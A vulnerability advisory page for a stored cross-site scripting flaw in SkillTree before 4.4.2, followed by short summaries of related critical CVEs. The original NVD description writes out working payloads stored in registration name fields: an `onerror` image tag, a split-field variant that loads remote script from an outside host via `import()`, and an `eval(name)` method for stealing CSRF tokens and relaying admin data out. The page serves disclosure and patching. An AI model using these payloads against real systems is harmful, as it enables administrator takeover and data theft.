CVE-2026-54694
CriticalCVSS 9.6Exploitation Probability (EPSS)
Low risk21th percentile - higher than 21% of all known CVEs
Summary
SkillTree before version 4.4.2 contains an XSS vulnerability resulting from a combination of two flaws: lack of HTML encoding in StringHighlighter.js and use of v-html in HighlightedValue.vue. An attacker can register an account with malicious firstName/lastName/nickname fields, and when an administrator opens the Quiz Runs page, the payload executes in their browser. There are three attack paths with escalating impact: basic XSS, remote script loading via import(), and CSRF token theft.
Risk Assessment
The risk to the organization includes administrator account takeover, arbitrary code execution in the admin's browser, user data theft, project deletion, and creation of backdoor accounts. The attack requires no admin interaction beyond routine platform use.
Recommendation
Immediately upgrade SkillTree to version 4.4.2 or later, which contains the patch. Additionally, restrict registration field lengths and implement server-side HTML sanitization.
Related vulnerabilities
- CVE-2026-115995Critical
A vulnerability was detected in Unitree Robotics Unitree Go2 up to version 1.1.11.4. The set_volume function in gpt_thread.py of the chat_go component mishandles the Value argument, leading to OS command injection. The attack can be launched remotely, and upgrading to version 1.1.11.5 resolves the issue.
- CVE-2026-114820Critical
Vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK, and Oracle GraalVM Enterprise Edition. It is easily exploitable by an unauthenticated attacker with network access, leading to unauthorized creation, deletion, or modification of critical data as well as unauthorized access to critical data. The vulnerability also applies to Java deployments that load and run untrusted code in a sandbox (e.g., Java Web Start applications or applets).
- CVE-2026-115933Critical
Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back, allowing a user to obtain a validly signed token containing any claims they choose, accepted as a session, an organization invitation with a chosen role, a password reset or an enterprise provisioning token.
- CVE-2026-115557Critical
Python has added a denylist for known compromised certificates to the "ssl" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.
- CVE-2026-115932Critical
In Postiz, a media path that is not a web address is treated as a file on the server's disk without verifying it lies inside the upload directory. A registered user can store a crafted media path with a post and cause the publishing worker to read an arbitrary file and send it as an attachment to a Discord server the user controls. The same unconfined reads are reachable through two further routes, including file existence checks and backend memory exhaustion; self-registration is open by default.
- CVE-2026-94075Critical
The WordPress plugin Newsletters (newsletters-lite) up to version 4.18.1 contains a deserialization of untrusted data vulnerability, allowing object injection. This could enable an attacker to execute unintended code.
- CVE-2026-114196Critical
The WordPress plugin Paytium up to version 5.0.5 is vulnerable to deserialization of untrusted data, allowing object injection. This may enable an attacker to perform unauthorized actions.
- CVE-2026-112866Critical
The WordPress plugin Product Filter by WBW (woo-product-filter) up to version 3.4.6 is vulnerable to blind SQL injection due to improper neutralization of special elements in SQL commands. An attacker could exploit this to manipulate database queries.
- CVE-2026-111402Critical
The WordPress plugin Newsletters (newsletters-lite) up to version 4.18.1 is vulnerable to SQL injection due to improper neutralization of special elements in SQL commands. This could allow an attacker to execute arbitrary SQL queries.
- CVE-2026-110956Critical
The asVereinbase WordPress plugin before version 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a match. This allows an unauthenticated attacker to log in as any user, including an administrator.
Original NVD description (English source)
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Vulnerability data from NVD (NIST) · CISA KEV · EPSS